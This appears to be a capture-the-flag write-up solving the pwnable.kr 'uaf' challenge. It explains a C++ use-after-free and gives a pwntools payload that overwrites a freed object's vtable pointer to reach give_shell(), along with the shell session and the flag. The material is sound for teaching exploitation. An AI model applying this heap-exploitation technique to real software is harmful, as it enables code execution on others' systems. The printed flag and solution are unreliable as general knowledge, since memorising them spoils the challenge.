Challenge Description
We get the following hint:
Do you wanna try some Use-After-Free vulnerability exploitation?
ssh uaf@pwnable.kr -p2222 (pw:guest)
First, let's connect:
ssh uaf@pwnable.kr -p2222
In /home/uaf we see:
uaf
flag
Running file on the binary:
uaf: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fc10dc701644a83bbb4c8d75cd448fea402ad051, for GNU/Linux 3.2.0, not stripped
So: 64-bit binary without source code.
Running the Program
I run the binary to see what it does. It drops me into an endless menu:
1. use
2. after
3. free
Choosing 1 (use) prints:
My name is Jack
I am 25 years old
I am a nice guy!
My name is Jill
I am 21 years old
I am a cute girl!
Choosing 3 (free) prints nothing. Choosing 2 (after) immediately segfaults.
Static Analysis (Ghidra)
At program startup, two objects are allocated on the heap:
- a
Man - a
Woman
Both inherit from a base class Human. Each allocation is 0x30 bytes, and the pointers to these objects are stored on the stack.
Menu Options
Option 1 - use
Calls a virtual introduce() method on each object. This prints the name, age, and a class-specific message.
Option 2 - after
Takes two program arguments: (1) an integer size (2) a filename. It then allocates size bytes, opens the file, and reads the file contents into the allocated buffer.
Option 3 - free
Calls the destructors of Man and Woman, and frees both objects. At this point, the stack pointers still exist, but the heap memory does not.
At this point, it's clear that it's a use-after-free vulnerability.
What is a Use-After-Free?
A use-after-free is a common bug in programs written in unsafe memory languages like C or C++. If memory is freed but the program keeps a pointer and continues to use it, the behavior is undefined. If an attacker reallocates that freed chunk and controls its contents, the program can treat attacker-controlled data as a real object (including function pointers).
Dynamic Analysis
I use gdb and start checking what actually happens in memory. First, I choose option 3 to free the Man and Woman objects. Then I choose option 2 and pass: size 48 (exactly 0x30) and a file containing 48 'A' characters.
At first the buffer is somewhere else, but when I repeat the allocation, the allocator reuses the freed chunk, and my input ends up exactly where the Man object used to be. Option 2 is basically giving me a write primitive on a freed object.
Why Did It Work?
After freeing Man and Woman, their 0x30-byte chunks are placed in malloc's free list. When I request another chunk of the same size, malloc often reuses one of these freed chunks.
Confirming the UAF
After overwriting the freed object with 'A' * 48, I choose option 1 again. The program crashes: it tries to call a virtual function through a vtable pointer that I overwrote with 0x41414141.
Object Layout and Vtable
Looking at the object in memory:
0x5e5beb0: 0x00404d80 0x00000000 0x00000019 0x00000000
0x5e5bec0: 0x05e5bed0 0x00000000 0x00000004 0x00000000
0x5e5bed0: 0x6b63614a ("Jack")
The first value in the object is the vtable pointer (0x00404d80). When option 1 is selected, the program calls introduce() through this vtable.
Looking at the vtable, I see that the first entry points to give_shell(), and introduce() is located at offset +0x8. So the virtual call effectively looks like:
call [vtable + 0x8]
Instead of pointing to the original vtable address, I want the object to point to an address shifted by -0x8. This way, when the program adds +0x8, it lands on give_shell().
vtable = give_shell - 0x8
Which gives the address 0x404d78. By overwriting the freed object's vtable pointer with this value, the virtual call ends up calling give_shell().
The binary is non-PIE, so even with ASLR enabled the .text segment is not randomized, and the address of give_shell() stays fixed.
Exploit
- Free the
ManandWomanobjects - Reallocate a chunk of size
0x30(twice) - Overwrite the vtable pointer with
0x404d78 - Trigger option
1to invoke the virtual call
This is the script:
from pwn import *
address = p64(0x404d78)
payload = address + (b'A' * (48-len(address)))
with open('input', 'wb') as f:
f.write(payload)
This gives me:
b'xM@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
And then:
$ ~/uaf 48 input
1. use
2. after
3. free
3
---
1. use
2. after
3. free
2
---
your data is allocated
1. use
2. after
3. free
2
---
your data is allocated
1. use
2. after
3. free
1
---
$ whoami
uaf
$ cat ~/flag
d3lici0us_fl4g_after_pwning
Score!
References
- UAF video walkthrough / explanation: https://www.youtube.com/watch?v=3DPMjLmw70Y